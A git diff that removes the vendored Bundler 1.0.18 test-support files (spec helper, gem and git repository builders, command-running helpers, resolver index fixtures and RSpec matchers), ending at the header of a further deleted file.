-require 'rubygems'
-require 'bundler'
-require 'rspec'
-
-# Require the correct version of popen for the current platform
-if RbConfig::CONFIG['host_os'] =~ /mingw|mswin/
-  begin
-    require 'win32/open3'
-  rescue LoadError
-    abort "Run `gem install win32-open3` to be able to run specs"
-  end
-else
-  require 'open3'
-end
-
-Dir["#{File.expand_path('../support', __FILE__)}/*.rb"].each do |file|
-  require file
-end
-
-$debug    = false
-$show_err = true
-
-Spec::Rubygems.setup
-FileUtils.rm_rf(Spec::Path.gem_repo1)
-ENV['RUBYOPT'] = "#{ENV['RUBYOPT']} -r#{Spec::Path.root}/spec/support/rubygems_hax/platform.rb"
-ENV['BUNDLE_SPEC_RUN'] = "true"
-
-RSpec.configure do |config|
-  config.include Spec::Builders
-  config.include Spec::Helpers
-  config.include Spec::Indexes
-  config.include Spec::Matchers
-  config.include Spec::Path
-  config.include Spec::Rubygems
-  config.include Spec::Platforms
-  config.include Spec::Sudo
-
-  if Spec::Sudo.test_sudo?
-    config.filter_run :sudo => true
-  else
-    config.filter_run_excluding :sudo => true
-  end
-
-  config.filter_run :focused => true unless ENV['CI']
-  config.run_all_when_everything_filtered = true
-  config.alias_example_to :fit, :focused => true
-
-  original_wd       = Dir.pwd
-  original_path     = ENV['PATH']
-  original_gem_home = ENV['GEM_HOME']
-
-  def pending_jruby_shebang_fix
-    pending "JRuby executables do not have a proper shebang" if RUBY_PLATFORM == "java"
-  end
-
-  config.before :all do
-    build_repo1
-  end
-
-  config.before :each do
-    reset!
-    system_gems []
-    in_app_root
-  end
-
-  config.after :each do
-    Dir.chdir(original_wd)
-    # Reset ENV
-    ENV['PATH']           = original_path
-    ENV['GEM_HOME']       = original_gem_home
-    ENV['GEM_PATH']       = original_gem_home
-    ENV['BUNDLE_PATH']    = nil
-    ENV['BUNDLE_GEMFILE'] = nil
-    ENV['BUNDLER_TEST']   = nil
-    ENV['BUNDLE_FROZEN']  = nil
-    ENV['BUNDLER_SPEC_PLATFORM'] = nil
-    ENV['BUNDLER_SPEC_VERSION']  = nil
-    ENV['BUNDLE_APP_CONFIG']     = nil
-  end
-end
-
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/builders.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/builders.rb
deleted file mode 100644
index 936e1a4a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/builders.rb
+++ /dev/null
@@ -1,592 +0,0 @@
-module Spec
-  module Builders
-    def self.constantize(name)
-      name.gsub('-', '').upcase
-    end
-
-    def v(version)
-      Gem::Version.new(version)
-    end
-
-    def pl(platform)
-      Gem::Platform.new(platform)
-    end
-
-    def build_repo1
-      build_repo gem_repo1 do
-        build_gem "rack", %w(0.9.1 1.0.0) do |s|
-          s.executables = "rackup"
-        end
-
-        build_gem "thin" do |s|
-          s.add_dependency "rack"
-        end
-
-        build_gem "rack-obama" do |s|
-          s.add_dependency "rack"
-        end
-
-        build_gem "rack_middleware", "1.0" do |s|
-          s.add_dependency "rack", "0.9.1"
-        end
-
-        build_gem "rails",          "2.3.2" do |s|
-          s.executables = "rails"
-          s.add_dependency "rake",           "0.8.7"
-          s.add_dependency "actionpack",     "2.3.2"
-          s.add_dependency "activerecord",   "2.3.2"
-          s.add_dependency "actionmailer",   "2.3.2"
-          s.add_dependency "activeresource", "2.3.2"
-        end
-        build_gem "actionpack",     "2.3.2" do |s|
-          s.add_dependency "activesupport", "2.3.2"
-        end
-        build_gem "activerecord",   ["2.3.1", "2.3.2"] do |s|
-          s.add_dependency "activesupport", "2.3.2"
-        end
-        build_gem "actionmailer",   "2.3.2" do |s|
-          s.add_dependency "activesupport", "2.3.2"
-        end
-        build_gem "activeresource", "2.3.2" do |s|
-          s.add_dependency "activesupport", "2.3.2"
-        end
-        build_gem "activesupport",  %w(1.2.3 2.3.2 2.3.5)
-
-        build_gem "activemerchant" do |s|
-          s.add_dependency "activesupport", ">= 2.0.0"
-        end
-
-        build_gem "rails_fail" do |s|
-          s.add_dependency "activesupport", "= 1.2.3"
-        end
-
-        build_gem "missing_dep" do |s|
-          s.add_dependency "not_here"
-        end
-
-        build_gem "rspec", "1.2.7", :no_default => true do |s|
-          s.write "lib/spec.rb", "SPEC = '1.2.7'"
-        end
-
-        build_gem "rack-test", :no_default => true do |s|
-          s.write "lib/rack/test.rb", "RACK_TEST = '1.0'"
-        end
-
-        build_gem "platform_specific" do |s|
-          s.platform = Gem::Platform.local
-          s.write "lib/platform_specific.rb", "PLATFORM_SPECIFIC = '1.0.0 #{Gem::Platform.local}'"
-        end
-
-        build_gem "platform_specific" do |s|
-          s.platform = "java"
-          s.write "lib/platform_specific.rb", "PLATFORM_SPECIFIC = '1.0.0 JAVA'"
-        end
-
-        build_gem "platform_specific" do |s|
-          s.platform = "ruby"
-          s.write "lib/platform_specific.rb", "PLATFORM_SPECIFIC = '1.0.0 RUBY'"
-        end
-
-        build_gem "platform_specific" do |s|
-          s.platform = "x86-mswin32"
-          s.write "lib/platform_specific.rb", "PLATFORM_SPECIFIC = '1.0.0 MSWIN'"
-        end
-
-        build_gem "platform_specific" do |s|
-          s.platform = "x86-darwin-100"
-          s.write "lib/platform_specific.rb", "PLATFORM_SPECIFIC = '1.0.0 x86-darwin-100'"
-        end
-
-        build_gem "only_java" do |s|
-          s.platform = "java"
-        end
-
-        build_gem "nokogiri", "1.4.2"
-        build_gem "nokogiri", "1.4.2" do |s|
-          s.platform = "java"
-          s.write "lib/nokogiri.rb", "NOKOGIRI = '1.4.2 JAVA'"
-          s.add_dependency "weakling", ">= 0.0.3"
-        end
-
-        build_gem "weakling", "0.0.3"
-
-        build_gem "multiple_versioned_deps" do |s|
-          s.add_dependency "weakling", ">= 0.0.1", "< 0.1"
-        end
-
-        build_gem "not_released", "1.0.pre"
-
-        build_gem "has_prerelease", "1.0"
-        build_gem "has_prerelease", "1.1.pre"
-
-        build_gem "with_development_dependency" do |s|
-          s.add_development_dependency "activesupport", "= 2.3.5"
-        end
-
-        build_gem "with_implicit_rake_dep" do |s|
-          s.extensions << "Rakefile"
-          s.write "Rakefile", <<-RUBY
-            task :default do
-              path = File.expand_path("../lib", __FILE__)
-              FileUtils.mkdir_p(path)
-              File.open("\#{path}/implicit_rake_dep.rb", "w") do |f|
-                f.puts "IMPLICIT_RAKE_DEP = 'YES'"
-              end
-            end
-          RUBY
-        end
-
-        build_gem "another_implicit_rake_dep" do |s|
-          s.extensions << "Rakefile"
-          s.write "Rakefile", <<-RUBY
-            task :default do
-              path = File.expand_path("../lib", __FILE__)
-              FileUtils.mkdir_p(path)
-              File.open("\#{path}/another_implicit_rake_dep.rb", "w") do |f|
-                f.puts "ANOTHER_IMPLICIT_RAKE_DEP = 'YES'"
-              end
-            end
-          RUBY
-        end
-
-        build_gem "very_simple_binary" do |s|
-          s.add_c_extension
-        end
-
-        build_gem "bundler", "0.9" do |s|
-          s.executables = "bundle"
-          s.write "bin/bundle", "puts 'FAIL'"
-        end
-
-        # The bundler 0.8 gem has a rubygems plugin that always loads :(
-        build_gem "bundler", "0.8.1" do |s|
-          s.write "lib/bundler/omg.rb", ""
-          s.write "lib/rubygems_plugin.rb", "require 'bundler/omg' ; puts 'FAIL'"
-        end
-
-        # The yard gem iterates over Gem.source_index looking for plugins
-        build_gem "yard" do |s|
-          s.write "lib/yard.rb", <<-Y
-            Gem.source_index.find_name('').each do |gem|
-              puts gem.full_name
-            end
-          Y
-        end
-
-        # The rcov gem is platform mswin32, but has no arch
-        build_gem "rcov" do |s|
-          s.platform = Gem::Platform.new([nil, "mswin32", nil])
-          s.write "lib/rcov.rb", "RCOV = '1.0.0'"
-        end
-
-        build_gem "net-ssh"
-        build_gem "net-sftp", "1.1.1" do |s|
-          s.add_dependency "net-ssh", ">= 1.0.0", "< 1.99.0"
-        end
-
-        # Test comlicated gem dependencies for install
-        build_gem "net_a" do |s|
-          s.add_dependency "net_b"
-          s.add_dependency "net_build_extensions"
-        end
-
-        build_gem "net_b"
-
-        build_gem "net_build_extensions" do |s|
-          s.add_dependency "rake"
-          s.extensions << "Rakefile"
-          s.write "Rakefile", <<-RUBY
-            task :default do
-              path = File.expand_path("../lib", __FILE__)
-              FileUtils.mkdir_p(path)
-              File.open("\#{path}/net_build_extensions.rb", "w") do |f|
-                f.puts "NET_BUILD_EXTENSIONS = 'YES'"
-              end
-            end
-          RUBY
-        end
-
-        build_gem "net_c" do |s|
-          s.add_dependency "net_a"
-          s.add_dependency "net_d"
-        end
-
-        build_gem "net_d"
-
-        build_gem "net_e" do |s|
-          s.add_dependency "net_d"
-        end
-
-        # Capistrano did this (at least until version 2.5.10)
-        build_gem "double_deps" do |s|
-          s.add_dependency "net-ssh", ">= 1.0.0"
-          s.add_dependency "net-ssh"
-        end
-
-        build_gem "foo"
-      end
-    end
-
-    def build_repo2(&blk)
-      FileUtils.rm_rf gem_repo2
-      FileUtils.cp_r gem_repo1, gem_repo2
-      update_repo2(&blk) if block_given?
-    end
-
-    def build_repo3
-      build_repo gem_repo3 do
-        build_gem "rack"
-      end
-      FileUtils.rm_rf Dir[gem_repo3("prerelease*")]
-    end
-
-    def update_repo2
-      update_repo gem_repo2 do
-        build_gem "rack", "1.2" do |s|
-          s.executables = "rackup"
-        end
-        yield if block_given?
-      end
-    end
-
-    def build_repo(path, &blk)
-      return if File.directory?(path)
-      rake_path = Dir["#{Path.base_system_gems}/**/rake*.gem"].first
-      if rake_path
-        FileUtils.mkdir_p("#{path}/gems")
-        FileUtils.cp rake_path, "#{path}/gems/"
-      else
-        abort "You need to `rm -rf #{tmp}`"
-      end
-      update_repo(path, &blk)
-    end
-
-    def update_repo(path)
-      @_build_path = "#{path}/gems"
-      yield
-      @_build_path = nil
-      with_gem_path_as Path.base_system_gems do
-        Dir.chdir(path) { gem_command :generate_index }
-      end
-    end
-
-    def build_index(&block)
-      index = Bundler::Index.new
-      IndexBuilder.run(index, &block) if block_given?
-      index
-    end
-
-    def build_spec(name, version, platform = nil, &block)
-      Array(version).map do |v|
-        Gem::Specification.new do |s|
-          s.name     = name
-          s.version  = Gem::Version.new(v)
-          s.platform = platform
-          DepBuilder.run(s, &block) if block_given?
-        end
-      end
-    end
-
-    def build_dep(name, requirements = Gem::Requirement.default, type = :runtime)
-      Bundler::Dependency.new(name, :version => requirements)
-    end
-
-    def build_lib(name, *args, &blk)
-      build_with(LibBuilder, name, args, &blk)
-    end
-
-    def build_gem(name, *args, &blk)
-      build_with(GemBuilder, name, args, &blk)
-    end
-
-    def build_git(name, *args, &block)
-      opts = args.last.is_a?(Hash) ? args.last : {}
-      builder = opts[:bare] ? GitBareBuilder : GitBuilder
-      spec = build_with(builder, name, args, &block)
-      GitReader.new(opts[:path] || lib_path(spec.full_name))
-    end
-
-    def update_git(name, *args, &block)
-      build_with(GitUpdater, name, args, &block)
-    end
-
-  private
-
-    def build_with(builder, name, args, &blk)
-      @_build_path ||= nil
-      options  = args.last.is_a?(Hash) ? args.pop : {}
-      versions = args.last || "1.0"
-      spec     = nil
-
-      options[:path] ||= @_build_path
-
-      Array(versions).each do |version|
-        spec = builder.new(self, name, version)
-        if !spec.authors or spec.authors.empty?
-          spec.authors = ["no one"]
-        end
-        yield spec if block_given?
-        spec._build(options)
-      end
-
-      spec
-    end
-
-    class IndexBuilder
-      include Builders
-
-      def self.run(index, &block)
-        new(index).run(&block)
-      end
-
-      def initialize(index)
-        @index = index
-      end
-
-      def run(&block)
-        instance_eval(&block)
-      end
-
-      def gem(*args, &block)
-        build_spec(*args, &block).each do |s|
-          @index << s
-        end
-      end
-
-      def platforms(platforms)
-        platforms.split(/\s+/).each do |platform|
-          platform.gsub!(/^(mswin32)$/, 'x86-\1')
-          yield Gem::Platform.new(platform)
-        end
-      end
-
-      def versions(versions)
-        versions.split(/\s+/).each { |version| yield v(version) }
-      end
-    end
-
-    class DepBuilder
-      include Builders
-
-      def self.run(spec, &block)
-        new(spec).run(&block)
-      end
-
-      def initialize(spec)
-        @spec = spec
-      end
-
-      def run(&block)
-        instance_eval(&block)
-      end
-
-      def runtime(name, requirements)
-        @spec.add_runtime_dependency(name, requirements)
-      end
-
-      alias dep runtime
-    end
-
-    class LibBuilder
-      def initialize(context, name, version)
-        @context = context
-        @name    = name
-        @spec = Gem::Specification.new do |s|
-          s.name    = name
-          s.version = version
-          s.summary = "This is just a fake gem for testing"
-        end
-        @files = {}
-      end
-
-      def method_missing(*args, &blk)
-        @spec.send(*args, &blk)
-      end
-
-      def write(file, source = "")
-        @files[file] = source
-      end
-
-      def executables=(val)
-        Array(val).each do |file|
-          write "bin/#{file}", "require '#{@name}' ; puts #{@name.upcase}"
-        end
-        @spec.executables = Array(val)
-      end
-
-      def add_c_extension
-        require_paths << 'ext'
-        extensions << "ext/extconf.rb"
-        write "ext/extconf.rb", <<-RUBY
-          require "mkmf"
-
-          # exit 1 unless with_config("simple")
-
-          extension_name = "very_simple_binary_c"
-          dir_config extension_name
-          create_makefile extension_name
-        RUBY
-        write "ext/very_simple_binary.c", <<-C
-          #include "ruby.h"
-
-          void Init_very_simple_binary_c() {
-            rb_define_module("VerySimpleBinaryInC");
-          }
-        C
-      end
-
-      def _build(options)
-        path = options[:path] || _default_path
-
-        if options[:rubygems_version]
-          @spec.rubygems_version = options[:rubygems_version]
-          def @spec.mark_version; end
-          def @spec.validate; end
-        end
-
-        case options[:gemspec]
-        when false
-          # do nothing
-        when :yaml
-          @files["#{name}.gemspec"] = @spec.to_yaml
-        else
-          @files["#{name}.gemspec"] = @spec.to_ruby
-        end
-
-        unless options[:no_default]
-          @files = _default_files.merge(@files)
-        end
-
-        @spec.authors = ["no one"]
-
-        @files.each do |file, source|
-          file = Pathname.new(path).join(file)
-          FileUtils.mkdir_p(file.dirname)
-          File.open(file, 'w') { |f| f.puts source }
-        end
-        @spec.files = @files.keys
-        path
-      end
-
-      def _default_files
-        @_default_files ||= { "lib/#{name}.rb" => "#{Builders.constantize(name)} = '#{version}'" }
-      end
-
-      def _default_path
-        @context.tmp('libs', @spec.full_name)
-      end
-    end
-
-    class GitBuilder < LibBuilder
-      def _build(options)
-        path = options[:path] || _default_path
-        super(options.merge(:path => path))
-        Dir.chdir(path) do
-          `git init`
-          `git add *`
-          `git config user.email "lol@wut.com"`
-          `git config user.name "lolwut"`
-          `git commit -m 'OMG INITIAL COMMIT'`
-        end
-      end
-    end
-
-    class GitBareBuilder < LibBuilder
-      def _build(options)
-        path = options[:path] || _default_path
-        super(options.merge(:path => path))
-        Dir.chdir(path) do
-          `git init --bare`
-        end
-      end
-    end
-
-    class GitUpdater < LibBuilder
-      WINDOWS = RbConfig::CONFIG["host_os"] =~ %r!(msdos|mswin|djgpp|mingw)!
-      NULL    = WINDOWS ? "NUL" : "/dev/null"
-
-      def silently(str)
-        `#{str} 2>#{NULL}`
-      end
-
-      def _build(options)
-        libpath = options[:path] || _default_path
-
-        Dir.chdir(libpath) do
-          silently "git checkout master"
-
-          if branch = options[:branch]
-            raise "You can't specify `master` as the branch" if branch == "master"
-
-            if `git branch | grep #{branch}`.empty?
-              silently("git branch #{branch}")
-            end
-
-            silently("git checkout #{branch}")
-          elsif tag = options[:tag]
-            `git tag #{tag}`
-          elsif options[:remote]
-            silently("git remote add origin file://#{options[:remote]}")
-          elsif options[:push]
-            silently("git push origin #{options[:push]}")
-          end
-
-          current_ref = `git rev-parse HEAD`.strip
-          _default_files.keys.each do |path|
-            _default_files[path] << "\n#{Builders.constantize(name)}_PREV_REF = '#{current_ref}'"
-          end
-          super(options.merge(:path => libpath))
-          `git add *`
-          `git commit -m "BUMP"`
-        end
-      end
-    end
-
-    class GitReader
-      attr_reader :path
-
-      def initialize(path)
-        @path = path
-      end
-
-      def ref_for(ref, len = nil)
-        ref = git "rev-parse #{ref}"
-        ref = ref[0..len] if len
-        ref
-      end
-
-    private
-
-      def git(cmd)
-        Dir.chdir(@path) { `git #{cmd}`.strip }
-      end
-
-    end
-
-    class GemBuilder < LibBuilder
-
-      def _build(opts)
-        lib_path = super(opts.merge(:path => @context.tmp(".tmp/#{@spec.full_name}"), :no_default => opts[:no_default]))
-        Dir.chdir(lib_path) do
-          destination = opts[:path] || _default_path
-          FileUtils.mkdir_p(destination)
-
-          if !@spec.authors or @spec.authors.empty?
-            @spec.authors = ["that guy"]
-          end
-
-          Gem::Builder.new(@spec).build
-          if opts[:to_system]
-            `gem install --ignore-dependencies #{@spec.full_name}.gem`
-          else
-            FileUtils.mv("#{@spec.full_name}.gem", opts[:path] || _default_path)
-          end
-        end
-      end
-
-      def _default_path
-        @context.gem_repo1('gems')
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/helpers.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/helpers.rb
deleted file mode 100644
index d21e85a2..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/helpers.rb
+++ /dev/null
@@ -1,239 +0,0 @@
-module Spec
-  module Helpers
-    def reset!
-      @in_p, @out_p, @err_p = nil, nil, nil
-      Dir["#{tmp}/{gems/*,*}"].each do |dir|
-        next if %(base remote1 gems rubygems).include?(File.basename(dir))
-        unless ENV['BUNDLER_SUDO_TESTS']
-          FileUtils.rm_rf(dir)
-        else
-          `sudo rm -rf #{dir}`
-        end
-      end
-      FileUtils.mkdir_p(tmp)
-      FileUtils.mkdir_p(home)
-      Gem.sources = ["file://#{gem_repo1}/"]
-      # Gem.configuration.write
-    end
-
-    attr_reader :out, :err, :exitstatus
-
-    def in_app_root(&blk)
-      Dir.chdir(bundled_app, &blk)
-    end
-
-    def in_app_root2(&blk)
-      Dir.chdir(bundled_app2, &blk)
-    end
-
-    def run(cmd, *args)
-      opts = args.last.is_a?(Hash) ? args.pop : {}
-      expect_err = opts.delete(:expect_err)
-      env = opts.delete(:env)
-      groups = args.map {|a| a.inspect }.join(", ")
-      setup = "require 'rubygems' ; require 'bundler' ; Bundler.setup(#{groups})\n"
-      @out = ruby(setup + cmd, :expect_err => expect_err, :env => env)
-    end
-
-    def lib
-      File.expand_path('../../../lib', __FILE__)
-    end
-
-    def bundle(cmd, options = {})
-      expect_err  = options.delete(:expect_err)
-      exitstatus = options.delete(:exitstatus)
-      options["no-color"] = true unless options.key?("no-color") || cmd.to_s[0..3] == "exec"
-
-      env = (options.delete(:env) || {}).map{|k,v| "#{k}='#{v}' "}.join
-      args = options.map do |k,v|
-        v == true ? " --#{k}" : " --#{k} #{v}" if v
-      end.join
-      gemfile = File.expand_path('../../../bin/bundle', __FILE__)
-      cmd = "#{env}#{Gem.ruby} -I#{lib} #{gemfile} #{cmd}#{args}"
-
-      if exitstatus
-        sys_status(cmd)
-      else
-        sys_exec(cmd, expect_err){|i| yield i if block_given? }
-      end
-    end
-
-    def ruby(ruby, options = {})
-      expect_err = options.delete(:expect_err)
-      env = (options.delete(:env) || {}).map{|k,v| "#{k}='#{v}' "}.join
-      ruby.gsub!(/["`\$]/) {|m| "\\#{m}" }
-      sys_exec(%{#{env}#{Gem.ruby} -I#{lib} -e "#{ruby}"}, expect_err)
-    end
-
-    def gembin(cmd)
-      lib = File.expand_path("../../../lib", __FILE__)
-      old, ENV['RUBYOPT'] = ENV['RUBYOPT'], "#{ENV['RUBYOPT']} -I#{lib}"
-      cmd = bundled_app("bin/#{cmd}") unless cmd.to_s.include?("/")
-      sys_exec(cmd.to_s)
-    ensure
-      ENV['RUBYOPT'] = old
-    end
-
-    def sys_exec(cmd, expect_err = false)
-      Open3.popen3(cmd.to_s) do |stdin, stdout, stderr|
-        @in_p, @out_p, @err_p = stdin, stdout, stderr
-
-        yield @in_p if block_given?
-        @in_p.close
-
-        @out = @out_p.read_available_bytes.strip
-        @err = @err_p.read_available_bytes.strip
-      end
-
-      puts @err unless expect_err || @err.empty? || !$show_err
-      @out
-    end
-
-    def sys_status(cmd)
-      @err = nil
-      @out = %x{#{cmd}}.strip
-      @exitstatus = $?.exitstatus
-    end
-
-    def config(config = nil)
-      path = bundled_app('.bundle/config')
-      return YAML.load_file(path) unless config
-      FileUtils.mkdir_p(File.dirname(path))
-      File.open(path, 'w') do |f|
-        f.puts config.to_yaml
-      end
-      config
-    end
-
-    def gemfile(*args)
-      path = bundled_app("Gemfile")
-      path = args.shift if Pathname === args.first
-      str  = args.shift || ""
-      path.dirname.mkpath
-      File.open(path.to_s, 'w') do |f|
-        f.puts str
-      end
-    end
-
-    def lockfile(*args)
-      path = bundled_app("Gemfile.lock")
-      path = args.shift if Pathname === args.first
-      str  = args.shift || ""
-
-      # Trim the leading spaces
-      spaces = str[/\A\s+/, 0] || ""
-      str.gsub!(/^#{spaces}/, '')
-
-      File.open(path.to_s, 'w') do |f|
-        f.puts str
-      end
-    end
-
-    def install_gemfile(*args)
-      gemfile(*args)
-      opts = args.last.is_a?(Hash) ? args.last : {}
-      bundle :install, opts
-    end
-
-    def install_gems(*gems)
-      gems.each do |g|
-        path = "#{gem_repo1}/gems/#{g}.gem"
-
-        raise "OMG `#{path}` does not exist!" unless File.exist?(path)
-
-        gem_command :install, "--no-rdoc --no-ri --ignore-dependencies #{path}"
-      end
-    end
-
-    alias install_gem install_gems
-
-    def with_gem_path_as(path)
-      gem_home, gem_path = ENV['GEM_HOME'], ENV['GEM_PATH']
-      ENV['GEM_HOME'], ENV['GEM_PATH'] = path.to_s, path.to_s
-      yield
-    ensure
-      ENV['GEM_HOME'], ENV['GEM_PATH'] = gem_home, gem_path
-    end
-
-    def break_git!
-      FileUtils.mkdir_p(tmp("broken_path"))
-      File.open(tmp("broken_path/git"), "w", 0755) do |f|
-        f.puts "#!/usr/bin/env ruby\nSTDERR.puts 'This is not the git you are looking for'\nexit 1"
-      end
-
-      ENV["PATH"] = "#{tmp("broken_path")}:#{ENV["PATH"]}"
-    end
-
-    def fake_groff!
-      FileUtils.mkdir_p(tmp("fake_groff"))
-      File.open(tmp("fake_groff/groff"), "w", 0755) do |f|
-        f.puts "#!/usr/bin/env ruby\nputs ARGV.inspect\n"
-      end
-
-      ENV["PATH"] = "#{tmp("fake_groff")}:#{ENV["PATH"]}"
-    end
-
-    def kill_path!
-      ENV["PATH"] = ""
-    end
-
-    def system_gems(*gems)
-      gems = gems.flatten
-
-      FileUtils.rm_rf(system_gem_path)
-      FileUtils.mkdir_p(system_gem_path)
-
-      Gem.clear_paths
-
-      gem_home, gem_path, path = ENV['GEM_HOME'], ENV['GEM_PATH'], ENV['PATH']
-      ENV['GEM_HOME'], ENV['GEM_PATH'] = system_gem_path.to_s, system_gem_path.to_s
-
-      install_gems(*gems)
-      if block_given?
-        begin
-          yield
-        ensure
-          ENV['GEM_HOME'], ENV['GEM_PATH'] = gem_home, gem_path
-          ENV['PATH'] = path
-        end
-      end
-    end
-
-    def cache_gems(*gems)
-      gems = gems.flatten
-
-      FileUtils.rm_rf("#{bundled_app}/vendor/cache")
-      FileUtils.mkdir_p("#{bundled_app}/vendor/cache")
-
-      gems.each do |g|
-        path = "#{gem_repo1}/gems/#{g}.gem"
-        raise "OMG `#{path}` does not exist!" unless File.exist?(path)
-        FileUtils.cp(path, "#{bundled_app}/vendor/cache")
-      end
-    end
-
-    def simulate_new_machine
-      system_gems []
-      FileUtils.rm_rf default_bundle_path
-      FileUtils.rm_rf bundled_app('.bundle')
-    end
-
-    def simulate_platform(platform)
-      old, ENV['BUNDLER_SPEC_PLATFORM'] = ENV['BUNDLER_SPEC_PLATFORM'], platform.to_s
-      yield if block_given?
-    ensure
-      ENV['BUNDLER_SPEC_PLATFORM'] = old if block_given?
-    end
-
-    def simulate_bundler_version(version)
-      old, ENV['BUNDLER_SPEC_VERSION'] = ENV['BUNDLER_SPEC_VERSION'], version.to_s
-      yield if block_given?
-    ensure
-      ENV['BUNDLER_SPEC_VERSION'] = old if block_given?
-    end
-
-    def revision_for(path)
-      Dir.chdir(path) { `git rev-parse HEAD`.strip }
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/indexes.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/indexes.rb
deleted file mode 100644
index f33501c8..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/indexes.rb
+++ /dev/null
@@ -1,112 +0,0 @@
-module Spec
-  module Indexes
-    def dep(name, reqs = nil)
-      @deps ||= []
-      @deps << Bundler::Dependency.new(name, :version => reqs)
-    end
-
-    def platform(*args)
-      @platforms ||= []
-      @platforms.concat args.map { |p| Gem::Platform.new(p) }
-    end
-
-    alias platforms platform
-
-    def resolve
-      @platforms ||= ['ruby']
-      deps = []
-      @deps.each do |d|
-        @platforms.each do |p|
-          deps << Bundler::DepProxy.new(d, p)
-        end
-      end
-      Bundler::Resolver.resolve(deps, @index)
-    end
-
-    def should_resolve_as(specs)
-      got = resolve
-      got = got.map { |s| s.full_name }.sort
-      got.should == specs.sort
-    end
-
-    def should_conflict_on(names)
-      begin
-        got = resolve
-        flunk "The resolve succeeded with: #{got.map { |s| s.full_name }.sort.inspect}"
-      rescue Bundler::VersionConflict => e
-        Array(names).sort.should == e.conflicts.sort
-      end
-    end
-
-    def gem(*args, &blk)
-      build_spec(*args, &blk).first
-    end
-
-    def an_awesome_index
-      build_index do
-        gem "rack", %w(0.8 0.9 0.9.1 0.9.2 1.0 1.1)
-        gem "rack-mount", %w(0.4 0.5 0.5.1 0.5.2 0.6)
-
-        # --- Rails
-        versions "1.2.3 2.2.3 2.3.5 3.0.0.beta 3.0.0.beta1" do |version|
-          gem "activesupport", version
-          gem "actionpack", version do
-            dep "activesupport", version
-            if version >= v('3.0.0.beta')
-              dep "rack", '~> 1.1'
-              dep "rack-mount", ">= 0.5"
-            elsif version > v('2.3')   then dep "rack", '~> 1.0.0'
-            elsif version > v('2.0.0') then dep "rack", '~> 0.9.0'
-            end
-          end
-          gem "activerecord", version do
-            dep "activesupport", version
-            dep "arel", ">= 0.2" if version >= v('3.0.0.beta')
-          end
-          gem "actionmailer", version do
-            dep "activesupport", version
-            dep "actionmailer",  version
-          end
-          if version < v('3.0.0.beta')
-            gem "railties", version do
-              dep "activerecord",  version
-              dep "actionpack",    version
-              dep "actionmailer",  version
-              dep "activesupport", version
-            end
-          else
-            gem "railties", version
-            gem "rails", version do
-              dep "activerecord",  version
-              dep "actionpack",    version
-              dep "actionmailer",  version
-              dep "activesupport", version
-              dep "railties",      version
-            end
-          end
-        end
-
-        versions '1.0 1.2 1.2.1 1.2.2 1.3 1.3.0.1 1.3.5 1.4.0 1.4.2 1.4.2.1' do |version|
-          platforms "ruby java mswin32 mingw32" do |platform|
-            next if version == v('1.4.2.1') && platform != pl('x86-mswin32')
-            next if version == v('1.4.2') && platform == pl('x86-mswin32')
-            gem "nokogiri", version, platform do
-              dep "weakling", ">= 0.0.3" if platform =~ pl('java')
-            end
-          end
-        end
-
-        versions '0.0.1 0.0.2 0.0.3' do |version|
-          gem "weakling", version
-        end
-
-        # --- Rails related
-        versions '1.2.3 2.2.3 2.3.5' do |version|
-          gem "activemerchant", version do
-            dep "activesupport", ">= #{version}"
-          end
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/matchers.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/matchers.rb
deleted file mode 100644
index 361a0330..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/matchers.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-module Spec
-  module Matchers
-    RSpec::Matchers.define :have_dep do |*args|
-      dep = Bundler::Dependency.new(*args)
-
-      match do |actual|
-        actual.length == 1 && actual.all? { |d| d == dep }
-      end
-    end
-
-    RSpec::Matchers.define :have_gem do |*args|
-      match do |actual|
-        actual.length == args.length && actual.all? { |a| args.include?(a.full_name) }
-      end
-    end
-
-    RSpec::Matchers.define :have_rubyopts do |*args|
-      args = args.flatten
-      args = args.first.split(/\s+/) if args.size == 1
-
-      #failure_message_for_should "Expected RUBYOPT to have options #{args.join(" ")}. It was #{ENV["RUBYOPT"]}"
-
-      match do |actual|
-        actual = actual.split(/\s+/) if actual.is_a?(String)
-        args.all? {|arg| actual.include?(arg) } && actual.uniq.size == actual.size
-      end
-    end
-
-    def should_be_installed(*names)
-      opts = names.last.is_a?(Hash) ? names.pop : {}
-      groups = Array(opts[:groups])
-      groups << opts
-      names.each do |name|
-        name, version, platform = name.split(/\s+/)
-        version_const = name == 'bundler' ? 'Bundler::VERSION' : Spec::Builders.constantize(name)
-        run "require '#{name}.rb'; puts #{version_const}", *groups
-        actual_version, actual_platform = out.split(/\s+/)
-        Gem::Version.new(actual_version).should eq(Gem::Version.new(version))
-        actual_platform.should == platform
-      end
-    end
-
-    alias should_be_available should_be_installed
-
-    def should_not_be_installed(*names)
-      opts = names.last.is_a?(Hash) ? names.pop : {}
-      groups = Array(opts[:groups]) || []
-      names.each do |name|
-        name, version = name.split(/\s+/)
-        run <<-R, *(groups + [opts])
-          begin
-            require '#{name}'
-            puts #{Spec::Builders.constantize(name)}
-          rescue LoadError, NameError
-            puts "WIN"
-          end
-        R
-        if version.nil? || out == "WIN"
-          out.should == "WIN"
-        else
-          Gem::Version.new(out).should_not == Gem::Version.new(version)
-        end
-      end
-    end
-
-    def should_be_locked
-      bundled_app("Gemfile.lock").should exist
-    end
-
-    def lockfile_should_be(expected)
-      should_be_locked
-      spaces = expected[/\A\s+/, 0] || ""
-      expected.gsub!(/^#{spaces}/, '')
-      bundled_app("Gemfile.lock").read.should == expected
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/path.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/path.rb
deleted file mode 100644
index b93d05ee..00000000
